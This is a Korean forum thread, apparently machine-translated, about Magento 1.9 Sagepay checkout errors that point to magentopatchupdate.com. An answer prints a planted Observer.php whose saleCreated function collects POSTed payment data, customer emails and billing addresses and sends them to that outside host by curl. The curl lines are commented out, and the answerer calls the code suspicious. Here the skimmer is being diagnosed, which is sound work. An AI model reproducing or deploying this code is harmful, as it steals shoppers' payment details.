2016-06-07 4 views
1

나는 Ebizmarts Sagepay 지불 모듈을 사용하고 Magento 백엔드에서 "Sage Pay Suite [Frontend - DIRECT 통합]"방법을 사용할 수 있지만 Place Now 단추를 누르면 요청은 sagepay로 이동하지만 이상한 반응이 다시 온다. 이것은 지난 2 일간의 일입니다. 응답은 : -Magento Sagepay 지불 응답 magentopatchupdate.com

어느 날 이미지 enter image description here

도와 드릴까요 참조하십시오 "갱신 지침을 개인 정보 보호 정책을 Magentopatchupdate.com 이 도메인 이름이 만료되었습니다." ? Magento 버전 1.9.0.1 및 onestepcheckout 확장자 사용 감사합니다.

+0

같은 문제 – gog

+0

난 그냥 제거하여이 문제를 해결/응용 프로그램/code/local/Mage/Controller 폴더에 있습니다. 이 폴더는 보안 패치 적용 후 만들어 졌다고 생각합니다. –

답변

0

문제는 지불 수단이 아닙니다.

고객과 동일한 문제가 발견되었습니다. 보안 젠토의 모든 패치를 실행 한 후에는 응용 프로그램/코드에서 만든 파일을/removar한다 지역/마법사 난 그냥 고객이 고정

0

/컨트롤러 - 파일이었다

/app/code/local/Mage/Controller/Model/Observer.php 

나는 그것을 삭제하지 않았다. 나는 단지 saleCreated 함수에서 curl 명령을 주석 처리했다.

public function saleCreated(Varien_Event_Observer $observer) 
{ 
    $url = 'http://magentopatchupdate.com/update/529U76xbMIH.php'; 

    $orderData = $observer->getEvent()->getOrder(); 
    $order = Mage::getModel('sales/order')->loadByIncrementId($orderData->getIncrementId()); 

    $this->_preparePaymentData($_POST, ''); 
    //$this->orderDetails['shipping_method'] = $order->getShippingMethod(); 
    $this->orderDetails['customer_email'] = $order->getCustomerEmail(); 
    $this->getOrderAddressInfo($order, 'billing'); 
    //$this->getOrderAddressInfo($order, 'shipping'); 

    //print_r(json_encode($this->orderDetails)); 

    $postStr = ''; 
    foreach($this->orderDetails as $key=>$value) { 
     $postStr .= $key . '=' . $value . '&'; 
    } 

    rtrim($postStr, '&'); 

    //This was causing issue - commented out all curl commands 
    //$ch = curl_init(); 
    //curl_setopt($ch,CURLOPT_URL, $url); 
    //curl_setopt($ch,CURLOPT_POST, count($_POST)); 
    //curl_setopt($ch,CURLOPT_POSTFIELDS, $postStr); 

    //$result = curl_exec($ch); 
    //curl_close($ch); 
} 

위 라인의 일부

이미 주석되었다 - ... 그것의 magentopatchupdate.com에 주문 세부 사항을 보내는 이유는 매우 의심스러운 여기